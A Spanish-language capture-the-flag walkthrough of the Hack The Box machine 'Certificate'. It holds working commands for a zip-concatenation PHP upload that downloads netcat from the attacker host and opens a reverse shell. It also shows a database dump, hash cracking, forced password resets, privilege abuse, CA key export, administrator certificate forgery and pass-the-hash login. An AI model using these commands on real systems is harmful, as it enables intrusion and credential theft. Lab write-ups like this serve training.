Certificate

OS: Linux
Dificultad: Difícil
Puntos: 40
Nmap
ports=$(nmap -p- --min-rate=5000 10.129.250.153 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p $ports -sV -sC 10.10.11.70Nmap scan report for 10.129.250.153
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-title: Did not follow redirect to http://certificate.htb/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-04 23:16:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
|_ssl-date: 2025-06-04T23:18:08+00:00; +1h06m47s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
|_ssl-date: 2025-06-04T23:17:47+00:00; +1h06m46s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Not valid before: 2024-11-04T03:14:54
|_Not valid after: 2025-11-04T03:14:54
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49721/tcp open msrpc Microsoft Windows RPC
49736/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windowsEnumeration
El escaneo nmap nos muestra dominios. Agregamos el dominio y subdominio a nuestro archivo hosts.
echo '10.129.250.153 certificate.htb dc01.certificate.htb' >> /etc/hostsEl servidor cuenta con un puerto web. La aplicación a simple vista solo tiene un formulario de registro y de inicio de sesión, también cuenta con un formulario de contacto, pero parece no ser relevante. Nos creamos una cuenta para acceder.

Una vez registrados iniciamos sesión e identificamos que podemos enrolar el usuario a uno de los cursos.

Al enrolar al usuario veremos una opción interesante llamada submit.

Seleccionando la opción nos muestra un panel para subir archivos donde menciona que tipo de archivos son permitidos.

Zip Concatenation
Después de intentar varias cosas y analizar diferentes situaciones llegamos identificamos que es vulnerable a zip concatenation. En el siguiente blog explican como funciona la vulnerabilidad. Los siguientes comando es una simplificación de varias pruebas que nos llevaron a explotar la vulnerabilidad.
Para obtener RCE muestro la forma en que lo realice. Primero descargamos o creamos un documento con extensión .docx y lo empaquetamos en un zip.
7z a file.zip test.docxDespués crearemos varios archivos PHP que ejecutaran nuestros comandos.
echo '<?php system("mkdir c:\\\\temp");?>' > dir.php
echo '<?php system("curl http://10.10.14.9/nc64.exe -o c:\\\\temp\\\\nc64.exe");?>' > nc.php
echo '<?php system("c:\\\\temp\\\\nc64.exe 10.10.14.9 1234 -e cmd.exe");?>' > shell.phpAhora los empaquetamos en zip.
7z a dir.zip dir.php
7z a nc.zip nc.php
7z a shell.zip shell.phpPor último los unimos uno por uno con el primer zip que creamos.
cat file.zip dir.zip > 1.zip
cat file.zip nc.zip > 2.zip
cat file.zip shell.zip > 3.zipLo siguiente que haremos será subir los archivos zip desde el formulario de la página. Cargamos uno por uno y una vez que la página lo guarda nos muestra el mensaje de donde descargarlo.

Al dar clic en el enlace puede que nos muestre la página en 404 o que se descargue el archivo .docx, para verificar si se ejecutó correctamente nuestro exploit escribiremos el nombre del archivo php.


Repetimos el proceso con los siguientes dos zip que nos faltan. Pero antes creamos el servidor web con python donde está el archivo nc64.exe y ponemos a la escucha nuestro netcat.
python3 -m http.server 80nc -lvnp 1234Ahora si cargamos los archivos y los ejecutamos.
http://certificate.htb/static/uploads/ac73694fb49bf014a070cbd8924bdf5c/nc.phpServing HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.71 - - [04/Jun/2025 22:22:01] "GET /nc64.exe HTTP/1.1" 200 -Al ejecutar el último php obtenemos una reverse shell.
http://certificate.htb/static/uploads/ac73694fb49bf014a070cbd8924bdf5c/shell.phplistening on [any] 1234 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.71] 62946
Microsoft Windows [Version 10.0.17763.6532]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\certificate.htb\static\uploads\ac73694fb49bf014a070cbd8924bdf5c>whoami
whoami
certificate\xamppuserLateral Movement
Después de enumerar el sistema identificamos el archivo db.php que contiene credenciales.
type c:\xampp\htdocs\certificate.htb\db.php<?php
// Database connection using PDO
try {
$dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
$db_user = 'certificate_webapp_user'; // Change to your DB username
$db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
?>
Al intentar acceder a la DB parece que no es posible esto es debido a que Windows Defender esta impidiendo el acceso directamente. Sin embargo podemos hacer dump de la DB por medio del mismo método anterior con los archivos zip. Creamos nuestro archivo php.
echo '<?php system("c:\\\\xampp\\\\mysql\\\\bin\\\\mysqldump.exe -u certificate_webapp_user -pcert!f!c@teDBPWD Certificate_WEBAPP_DB > C:\\\\xampp\\\\htdocs\\\\certificate.htb\\\\static\\\\dump2.sql");?>' > mysqldump.phpEmpaquetamos los archivos en zip.
7z a mysqldump.zip mysqldump.php
cat file.zip mysqldump.zip > mysql.zipLos subimos a la página web y ejecutamos el php.
http://certificate.htb/static/uploads/ac73694fb49bf014a070cbd8924bdf5c/shell.phpVeremos que se creó el archivo dump2.sql en el servidor.
c:\xampp\htdocs\certificate.htb\static>dir
Volume in drive C has no label.
Volume Serial Number is 7E12-22F9
Directory of c:\xampp\htdocs\certificate.htb\static
06/05/2025 12:30 AM <DIR> .
06/05/2025 12:30 AM <DIR> ..
12/26/2024 02:42 AM <DIR> css
06/05/2025 12:30 AM 19,512 dump2.sql
12/26/2024 02:42 AM <DIR> fonts
12/26/2024 02:49 AM <DIR> img
12/26/2024 02:50 AM <DIR> js
06/04/2025 08:12 PM <DIR> uploadsLo descargamos directamente.
curl http://certificate.htb/static/dump2.sql -o dump2.sql % Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 19512 100 19512 0 0 56124 0 --:--:-- --:--:-- --:--:-- 56068Crack hash
El archivo contiene hashes de algunos usuarios. El más relevante es el usuario sara.b ya que tiene el rol de admin.
--
-- Dumping data for table `users`
--
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES ....<SNIP>....(10,'Sara','Brawn','sara.b','sara.b@certificate.htb','$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6','2024-12-26 05:31:26','admin',1)
...<SNIP>... ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;Utilizamos john para obtener el password en texto plano.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txtUsing default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Blink182 (?)Verificamos el acceso con las credenciales.
netexec smb certificate.htb -u 'Sara.B' -p Blink182SMB 10.10.11.71 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.71 445 DC01 [+] certificate.htb\Sara.B:Blink182 Bloodhound Enum
Utilizamos bloodhound para enumerar el dominio.
netexec ldap 10.10.11.71 -u 'Sara.B' -p 'Blink182' --bloodhound --collection All --dns-server 10.10.11.71SMB 10.10.11.71 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.71 389 DC01 [+] certificate.htb\Sara.B:Blink182
LDAP 10.10.11.71 389 DC01 Resolved collection methods: objectprops, acl, container, dcom, session, group, localadmin, rdp, trusts, psremote
LDAP 10.10.11.71 389 DC01 Done in 00M 21S
LDAP 10.10.11.71 389 DC01 Compressing output into /root/.nxc/logs/DC01_10.10.11.71_2025-06-05_014228_bloodhound.zipAnalizando el entorno con bloodhound identificamos que es posible conectarnos por winrm.

Nos conectamos por winrm.
evil-winrm -i 10.10.11.71 -u 'Sara.B' -p 'Blink182'Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Sara.B\Documents>Este usuario puedo controlar diferentes objetos del AD, ya que pertenece al grupo Account Operators.

Entre los objetos más relevantes son los usuarios LION.SK y RYAN.K.

Estos usuarios son importantes porque perteneces al grupo Domain CRA Managers y Domain Storage Managers respectivamente.


ForceChangePassword
Tenemos privilegios GenericAll sobre los usuarios esto nos permite modificar sus passwords. Ejecutamos los siguientes comandos.
net rpc password 'lion.sk' 'Doom123!' -U 'certificate.htb'/'sara.b'%'Blink182' -S "certificate.htb"net rpc password 'ryan.k' 'Doom123!' -U 'certificate.htb'/'sara.b'%'Blink182' -S "certificate.htb"Los comandos no regresarán outputs sin embargo podemos verificar el acceso a los usuarios.
netexec smb certificate.htb -u 'lion.sk' -p 'Doom123!'SMB 10.10.11.71 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.71 445 DC01 [+] certificate.htb\lion.sk:Doom123!netexec smb certificate.htb -u 'ryan.k' -p 'Doom123!'SMB 10.10.11.71 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.71 445 DC01 [+] certificate.htb\ryan.k:Doom123!Podemos acceder por winrm con los usuarios. El usuario lion.sk tiene la bandera user.txt.
evil-winrm -i 10.10.11.71 -u 'lion.sk' -p 'Doom123!'*Evil-WinRM* PS C:\Users\Lion.SK\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> dir
Directory: C:\Users\Lion.SK\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/4/2025 8:06 PM 34 user.txt
*Evil-WinRM* PS C:\Users\Lion.SK\Desktop> type user.txt
264d1c23ac813f40bc576ca8835584f5Privilege Escalation
Enumeramos certificados vulnerables con el usuario lion.sk.
certipy find -vulnerable -u 'lion.sk' -p 'Doom123!' -dc-ip 10.10.11.71Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'Certificate-LTD-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'Certificate-LTD-CA'
[*] Checking web enrollment for CA 'Certificate-LTD-CA' @ 'DC01.certificate.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '20250606021545_Certipy.txt'
[*] Wrote text output to '20250606021545_Certipy.txt'
[*] Saving JSON output to '20250606021545_Certipy.json'
[*] Wrote JSON output to '20250606021545_Certipy.json'Vemos que hay un certificado vulnerable y los usuarios que pertenecen al grupo Domain CRA Managers tienes permisos Enrollment Rights.

Sin embargo cuando intentamos explotar el certificado no podemos obtener el hash del usuario administrador por lo tanto requerimos realizar más pasos para que esto funcione. Con el usuario ryan.k vemos un privilegio particular SeManageVolumePrivilege.
evil-winrm -i 10.10.11.71 -u 'ryan.k' -p 'Doom123!'*Evil-WinRM* PS C:\Users\Ryan.K\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================ =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledSeManageVolumePrivilege
Este privilegio nos permite tomar el control total del disco C por lo que podríamos obtener acceso a las MachineKeys con el fin de explotar el certificado. Para eso ejecutamos el siguiente exploit.
Subimos el binario desde winrm.
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> upload /root/htb/Box/Certificate/SeManageVolumeExploit.exe
Info: Uploading /root/htb/Box/Certificate/SeManageVolumeExploit.exe to C:\Users\Ryan.K\Documents\SeManageVolumeExploit.exe
Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!Lo ejecutamos para tener control del disco C.
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> .\SeManageVolumeExploit.exe
Entries changed: 848
DONEVerificamos que tenemos el control total.

ESC3
Utilizando certutil exportamos el certificado Certificate-LTD-CA.
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> certutil -exportPFX my Certificate-LTD-CA ca.pfx
my "Personal"
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
NotBefore: 11/3/2024 3:55 PM
NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
Key Container = Certificate-LTD-CA
Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file ca.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.Descargamos el certificado.
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> download ca.pfx
Info: Downloading C:\Users\Ryan.K\Documents\ca.pfx to ca.pfx
Info: Download successful!Ejecutamos los siguientes comandos para forjar el certificado del usuario administrador.
certipy forge -ca-pfx ca.pfx -upn administrator@certificate.htb -subject 'CN=ADMINISTRATOR,CN=USERS,DC=CERTIFICATE,DC=HTB'Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'Sincronizamos la hora con el servidor si no obtendremos un error.
ntpdate -s 10.10.11.71Ahora nos autenticamos con el certificado.
certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.11.71Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@certificate.htb'
[*] Using principal: 'administrator@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6Por último nos conectamos por winrm con el hash.
evil-winrm -i 10.10.11.71 -u 'administrator' -H d804304519bf0143c14cbf1c024408c6*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
87e35992618fddb14678853a9315bc84
*Evil-WinRM* PS C:\Users\Administrator\Documents>References
https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/
https://www.securitynewspaper.com/2024/11/14/winrar-and-zip-file-exploits-this-zip-file-hack-could-let-malware-bypass-your-antivirus/
https://github.com/int0x33/nc.exe/
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public